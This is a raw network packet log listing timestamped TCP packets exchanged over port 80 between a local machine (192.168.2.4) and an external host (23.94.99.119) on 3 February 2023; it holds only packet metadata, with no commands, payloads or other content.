Feb 3, 2023 20:40:00.265168905 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:00.265189886 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:00.265219927 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:00.265223980 CET	49696	80	192.168.2.4	23.94.99.119
Feb 3, 2023 20:40:00.265223980 CET	49696	80	192.168.2.4	23.94.99.119
Feb 3, 2023 20:40:00.265223980 CET	49696	80	192.168.2.4	23.94.99.119
Feb 3, 2023 20:40:00.265235901 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:00.265269041 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:00.265284061 CET	49696	80	192.168.2.4	23.94.99.119
Feb 3, 2023 20:40:00.265292883 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:00.265326977 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:00.265336037 CET	49696	80	192.168.2.4	23.94.99.119
Feb 3, 2023 20:40:00.265358925 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:00.265362024 CET	49696	80	192.168.2.4	23.94.99.119
Feb 3, 2023 20:40:00.265387058 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:00.265419006 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:00.265427113 CET	49696	80	192.168.2.4	23.94.99.119
Feb 3, 2023 20:40:00.265449047 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:00.265476942 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:00.265487909 CET	49696	80	192.168.2.4	23.94.99.119
Feb 3, 2023 20:40:00.265507936 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:00.265538931 CET	49696	80	192.168.2.4	23.94.99.119
Feb 3, 2023 20:40:00.265541077 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:00.265573978 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:00.265600920 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:00.265610933 CET	49696	80	192.168.2.4	23.94.99.119
Feb 3, 2023 20:40:00.265633106 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:00.265652895 CET	49696	80	192.168.2.4	23.94.99.119
Feb 3, 2023 20:40:00.265657902 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:00.265686989 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:00.265702963 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:00.265736103 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:00.265742064 CET	49696	80	192.168.2.4	23.94.99.119
Feb 3, 2023 20:40:00.265765905 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:00.265789986 CET	49696	80	192.168.2.4	23.94.99.119
Feb 3, 2023 20:40:00.265793085 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:00.265826941 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:00.265841961 CET	49696	80	192.168.2.4	23.94.99.119
Feb 3, 2023 20:40:00.265858889 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:00.265882015 CET	49696	80	192.168.2.4	23.94.99.119
Feb 3, 2023 20:40:00.265885115 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:00.265953064 CET	49696	80	192.168.2.4	23.94.99.119
Feb 3, 2023 20:40:00.405121088 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:00.405164957 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:00.405189037 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:00.405213118 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:00.405234098 CET	49696	80	192.168.2.4	23.94.99.119
Feb 3, 2023 20:40:00.405236959 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:00.405261040 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:00.405266047 CET	49696	80	192.168.2.4	23.94.99.119
Feb 3, 2023 20:40:00.405287027 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:00.405312061 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:00.405312061 CET	49696	80	192.168.2.4	23.94.99.119
Feb 3, 2023 20:40:00.405333996 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:00.405356884 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:00.405376911 CET	49696	80	192.168.2.4	23.94.99.119
Feb 3, 2023 20:40:00.405379057 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:00.405402899 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:00.405422926 CET	49696	80	192.168.2.4	23.94.99.119
Feb 3, 2023 20:40:00.405428886 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:00.405450106 CET	49696	80	192.168.2.4	23.94.99.119
Feb 3, 2023 20:40:00.405452967 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:00.405472040 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:00.405489922 CET	49696	80	192.168.2.4	23.94.99.119
Feb 3, 2023 20:40:00.405489922 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:00.405503035 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:00.405515909 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:00.405538082 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:00.405564070 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:00.405584097 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:00.405607939 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:00.405631065 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:00.405654907 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:00.405663013 CET	49696	80	192.168.2.4	23.94.99.119
Feb 3, 2023 20:40:00.405678034 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:00.405699968 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:00.405699968 CET	49696	80	192.168.2.4	23.94.99.119
Feb 3, 2023 20:40:00.405724049 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:00.405746937 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:00.405749083 CET	49696	80	192.168.2.4	23.94.99.119
Feb 3, 2023 20:40:00.405770063 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:00.405791998 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:00.405797958 CET	49696	80	192.168.2.4	23.94.99.119
Feb 3, 2023 20:40:00.405813932 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:00.405822039 CET	49696	80	192.168.2.4	23.94.99.119
Feb 3, 2023 20:40:00.405837059 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:00.405859947 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:00.405883074 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:00.405900002 CET	49696	80	192.168.2.4	23.94.99.119
Feb 3, 2023 20:40:00.405905962 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:00.405929089 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:00.405936956 CET	49696	80	192.168.2.4	23.94.99.119
Feb 3, 2023 20:40:00.405950069 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:00.405972004 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:00.405972958 CET	49696	80	192.168.2.4	23.94.99.119
Feb 3, 2023 20:40:00.405993938 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:00.406012058 CET	49696	80	192.168.2.4	23.94.99.119
Feb 3, 2023 20:40:00.406018972 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:00.406040907 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:00.406061888 CET	49696	80	192.168.2.4	23.94.99.119
Feb 3, 2023 20:40:00.406064034 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:00.406085014 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:00.406109095 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:00.406112909 CET	49696	80	192.168.2.4	23.94.99.119
Feb 3, 2023 20:40:00.406131029 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:00.406148911 CET	49696	80	192.168.2.4	23.94.99.119
Feb 3, 2023 20:40:00.406153917 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:00.406176090 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:00.406189919 CET	49696	80	192.168.2.4	23.94.99.119
Feb 3, 2023 20:40:00.406199932 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:00.406223059 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:00.406233072 CET	49696	80	192.168.2.4	23.94.99.119
Feb 3, 2023 20:40:00.406245947 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:00.406282902 CET	49696	80	192.168.2.4	23.94.99.119
Feb 3, 2023 20:40:00.530433893 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:00.530515909 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:00.530574083 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:00.530630112 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:00.530684948 CET	49696	80	192.168.2.4	23.94.99.119
Feb 3, 2023 20:40:00.530736923 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:00.530770063 CET	49696	80	192.168.2.4	23.94.99.119
Feb 3, 2023 20:40:00.530821085 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:00.530884027 CET	49696	80	192.168.2.4	23.94.99.119
Feb 3, 2023 20:40:00.530900002 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:00.530980110 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:00.531033039 CET	49696	80	192.168.2.4	23.94.99.119
Feb 3, 2023 20:40:00.531177998 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:00.531261921 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:00.531322002 CET	49696	80	192.168.2.4	23.94.99.119
Feb 3, 2023 20:40:00.531354904 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:00.531425953 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:00.531480074 CET	49696	80	192.168.2.4	23.94.99.119
Feb 3, 2023 20:40:00.531481028 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:00.531539917 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:00.531589031 CET	49696	80	192.168.2.4	23.94.99.119
Feb 3, 2023 20:40:00.531595945 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:00.531653881 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:00.531709909 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:00.531733990 CET	49696	80	192.168.2.4	23.94.99.119
Feb 3, 2023 20:40:00.531770945 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:00.531824112 CET	49696	80	192.168.2.4	23.94.99.119
Feb 3, 2023 20:40:00.531830072 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:00.531888962 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:00.531939030 CET	49696	80	192.168.2.4	23.94.99.119
Feb 3, 2023 20:40:00.531949043 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:00.532006979 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:00.532051086 CET	49696	80	192.168.2.4	23.94.99.119
Feb 3, 2023 20:40:00.532062054 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:00.532130957 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:00.532175064 CET	49696	80	192.168.2.4	23.94.99.119
Feb 3, 2023 20:40:00.532188892 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:00.532243013 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:00.532290936 CET	49696	80	192.168.2.4	23.94.99.119
Feb 3, 2023 20:40:00.532299995 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:00.532357931 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:00.532399893 CET	49696	80	192.168.2.4	23.94.99.119
Feb 3, 2023 20:40:00.532416105 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:00.532471895 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:00.532510996 CET	49696	80	192.168.2.4	23.94.99.119
Feb 3, 2023 20:40:00.532526970 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:00.532583952 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:00.532624960 CET	49696	80	192.168.2.4	23.94.99.119
Feb 3, 2023 20:40:00.532640934 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:00.532696009 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:00.532740116 CET	49696	80	192.168.2.4	23.94.99.119
Feb 3, 2023 20:40:00.532752037 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:00.532810926 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:00.532857895 CET	49696	80	192.168.2.4	23.94.99.119
Feb 3, 2023 20:40:00.532866001 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:00.532924891 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:00.532968998 CET	49696	80	192.168.2.4	23.94.99.119
Feb 3, 2023 20:40:00.532980919 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:00.533037901 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:00.533081055 CET	49696	80	192.168.2.4	23.94.99.119
Feb 3, 2023 20:40:00.533094883 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:00.533149958 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:00.533189058 CET	49696	80	192.168.2.4	23.94.99.119
Feb 3, 2023 20:40:00.533205032 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:00.533262014 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:00.533302069 CET	49696	80	192.168.2.4	23.94.99.119
Feb 3, 2023 20:40:00.533318043 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:00.533373117 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:00.533415079 CET	49696	80	192.168.2.4	23.94.99.119
Feb 3, 2023 20:40:00.533430099 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:00.533487082 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:00.533529997 CET	49696	80	192.168.2.4	23.94.99.119
Feb 3, 2023 20:40:00.533541918 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:00.533598900 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:00.533642054 CET	49696	80	192.168.2.4	23.94.99.119
Feb 3, 2023 20:40:00.658735991 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:00.658865929 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:00.658953905 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:00.659040928 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:00.659117937 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:00.659137964 CET	49696	80	192.168.2.4	23.94.99.119
Feb 3, 2023 20:40:00.659137964 CET	49696	80	192.168.2.4	23.94.99.119
Feb 3, 2023 20:40:00.659199953 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:00.659274101 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:00.659275055 CET	49696	80	192.168.2.4	23.94.99.119
Feb 3, 2023 20:40:00.659348011 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:00.659408092 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:00.659415007 CET	49696	80	192.168.2.4	23.94.99.119
Feb 3, 2023 20:40:00.659483910 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:00.659538984 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:00.659570932 CET	49696	80	192.168.2.4	23.94.99.119
Feb 3, 2023 20:40:00.659617901 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:00.659677029 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:00.659696102 CET	49696	80	192.168.2.4	23.94.99.119
Feb 3, 2023 20:40:00.659755945 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:00.659815073 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:00.659830093 CET	49696	80	192.168.2.4	23.94.99.119
Feb 3, 2023 20:40:00.659893990 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:00.659955978 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:00.660008907 CET	49696	80	192.168.2.4	23.94.99.119
Feb 3, 2023 20:40:00.660024881 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:00.660094976 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:00.660109043 CET	49696	80	192.168.2.4	23.94.99.119
Feb 3, 2023 20:40:00.660171032 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:00.660231113 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:00.660237074 CET	49696	80	192.168.2.4	23.94.99.119
Feb 3, 2023 20:40:00.660301924 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:00.660361052 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:00.660366058 CET	49696	80	192.168.2.4	23.94.99.119
Feb 3, 2023 20:40:00.660430908 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:00.660486937 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:00.660518885 CET	49696	80	192.168.2.4	23.94.99.119
Feb 3, 2023 20:40:00.660563946 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:00.660624027 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:00.660644054 CET	49696	80	192.168.2.4	23.94.99.119
Feb 3, 2023 20:40:00.660701036 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:00.660758018 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:00.660778046 CET	49696	80	192.168.2.4	23.94.99.119
Feb 3, 2023 20:40:00.660835028 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:00.660893917 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:00.660913944 CET	49696	80	192.168.2.4	23.94.99.119
Feb 3, 2023 20:40:00.660973072 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:00.661034107 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:00.661056995 CET	49696	80	192.168.2.4	23.94.99.119
Feb 3, 2023 20:40:00.661112070 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:00.661171913 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:00.661181927 CET	49696	80	192.168.2.4	23.94.99.119
Feb 3, 2023 20:40:00.661245108 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:00.661308050 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:00.661310911 CET	49696	80	192.168.2.4	23.94.99.119
Feb 3, 2023 20:40:00.661377907 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:00.661436081 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:00.661448002 CET	49696	80	192.168.2.4	23.94.99.119
Feb 3, 2023 20:40:00.661509991 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:00.661569118 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:00.661618948 CET	49696	80	192.168.2.4	23.94.99.119
Feb 3, 2023 20:40:00.661638975 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:00.661708117 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:00.661710978 CET	49696	80	192.168.2.4	23.94.99.119
Feb 3, 2023 20:40:00.661777973 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:00.661840916 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:00.661844015 CET	49696	80	192.168.2.4	23.94.99.119
Feb 3, 2023 20:40:00.661911011 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:00.661974907 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:00.661981106 CET	49696	80	192.168.2.4	23.94.99.119
Feb 3, 2023 20:40:00.662045956 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:00.662116051 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:00.662120104 CET	49696	80	192.168.2.4	23.94.99.119
Feb 3, 2023 20:40:00.662190914 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:00.662251949 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:00.662257910 CET	49696	80	192.168.2.4	23.94.99.119
Feb 3, 2023 20:40:00.662326097 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:00.662389994 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:00.662391901 CET	49696	80	192.168.2.4	23.94.99.119
Feb 3, 2023 20:40:00.662462950 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:00.662520885 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:00.662530899 CET	49696	80	192.168.2.4	23.94.99.119
Feb 3, 2023 20:40:00.662595987 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:00.662657976 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:00.662663937 CET	49696	80	192.168.2.4	23.94.99.119
Feb 3, 2023 20:40:00.662761927 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:00.662817955 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:00.662844896 CET	49696	80	192.168.2.4	23.94.99.119
Feb 3, 2023 20:40:00.662908077 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:00.662976027 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:00.662978888 CET	49696	80	192.168.2.4	23.94.99.119
Feb 3, 2023 20:40:00.663048029 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:00.663108110 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:00.663116932 CET	49696	80	192.168.2.4	23.94.99.119
Feb 3, 2023 20:40:00.663183928 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:00.663243055 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:00.663254023 CET	49696	80	192.168.2.4	23.94.99.119
Feb 3, 2023 20:40:00.663316965 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:00.663377047 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:00.663383961 CET	49696	80	192.168.2.4	23.94.99.119
Feb 3, 2023 20:40:00.663450003 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:00.663507938 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:00.663530111 CET	49696	80	192.168.2.4	23.94.99.119
Feb 3, 2023 20:40:00.663585901 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:00.663645029 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:00.663655043 CET	49696	80	192.168.2.4	23.94.99.119
Feb 3, 2023 20:40:00.663717031 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:00.663775921 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:00.663784027 CET	49696	80	192.168.2.4	23.94.99.119
Feb 3, 2023 20:40:00.663846970 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:00.663902998 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:00.663914919 CET	49696	80	192.168.2.4	23.94.99.119
Feb 3, 2023 20:40:00.663978100 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:00.664033890 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:00.664047956 CET	49696	80	192.168.2.4	23.94.99.119
Feb 3, 2023 20:40:00.664115906 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:00.664175034 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:00.664190054 CET	49696	80	192.168.2.4	23.94.99.119
Feb 3, 2023 20:40:00.664249897 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:00.664308071 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:00.664321899 CET	49696	80	192.168.2.4	23.94.99.119
Feb 3, 2023 20:40:00.664385080 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:00.664441109 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:00.664454937 CET	49696	80	192.168.2.4	23.94.99.119
Feb 3, 2023 20:40:00.664515018 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:00.664572954 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:00.664583921 CET	49696	80	192.168.2.4	23.94.99.119
Feb 3, 2023 20:40:00.664645910 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:00.664702892 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:00.664716959 CET	49696	80	192.168.2.4	23.94.99.119
Feb 3, 2023 20:40:00.664777040 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:00.664834976 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:00.664850950 CET	49696	80	192.168.2.4	23.94.99.119
Feb 3, 2023 20:40:00.664908886 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:00.664994001 CET	49696	80	192.168.2.4	23.94.99.119
Feb 3, 2023 20:40:00.665013075 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:00.665081024 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:00.665134907 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:00.665158987 CET	49696	80	192.168.2.4	23.94.99.119
Feb 3, 2023 20:40:00.665210962 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:00.665271044 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:00.665286064 CET	49696	80	192.168.2.4	23.94.99.119
Feb 3, 2023 20:40:00.665347099 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:00.665405035 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:00.665421963 CET	49696	80	192.168.2.4	23.94.99.119
Feb 3, 2023 20:40:00.665479898 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:00.665538073 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:00.665553093 CET	49696	80	192.168.2.4	23.94.99.119
Feb 3, 2023 20:40:00.665612936 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:00.665684938 CET	49696	80	192.168.2.4	23.94.99.119
Feb 3, 2023 20:40:00.788968086 CET	80	49696	23.94.99.119	192.168.2.4
